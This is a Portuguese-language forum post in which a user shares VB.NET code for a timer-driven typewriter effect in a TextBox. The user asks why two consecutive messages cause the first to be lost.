    fala ae.. tenho um efeito tipo digitando sobre um textbox. Funcionando normal, eu enviando texto usando um button. Porém alterei isso para passar por uma função, com isso, as msg do sistema posso enviar para a pessoa, e fica no estilo do cmd Dim i As Integer Dim mnge As String Private Sub msgtype(ByVal msg As String) i = 0 mnge = msg Timer2.Enabled = True End Sub Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick i += 1 TextBox2.Text += mnge.Substring(i - 1, 1) If i = mnge.Length Then Timer2.Enabled = False TextBox2.Text += vbCrLf End If End Sub o grande problema e que se eu tenho 2 msg seguida, ele esquece a primeira e vai logo para a segunda.. com posso arrumar isso? msgtype("Verificando conexão") msgtype("Conexão OK!")
×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.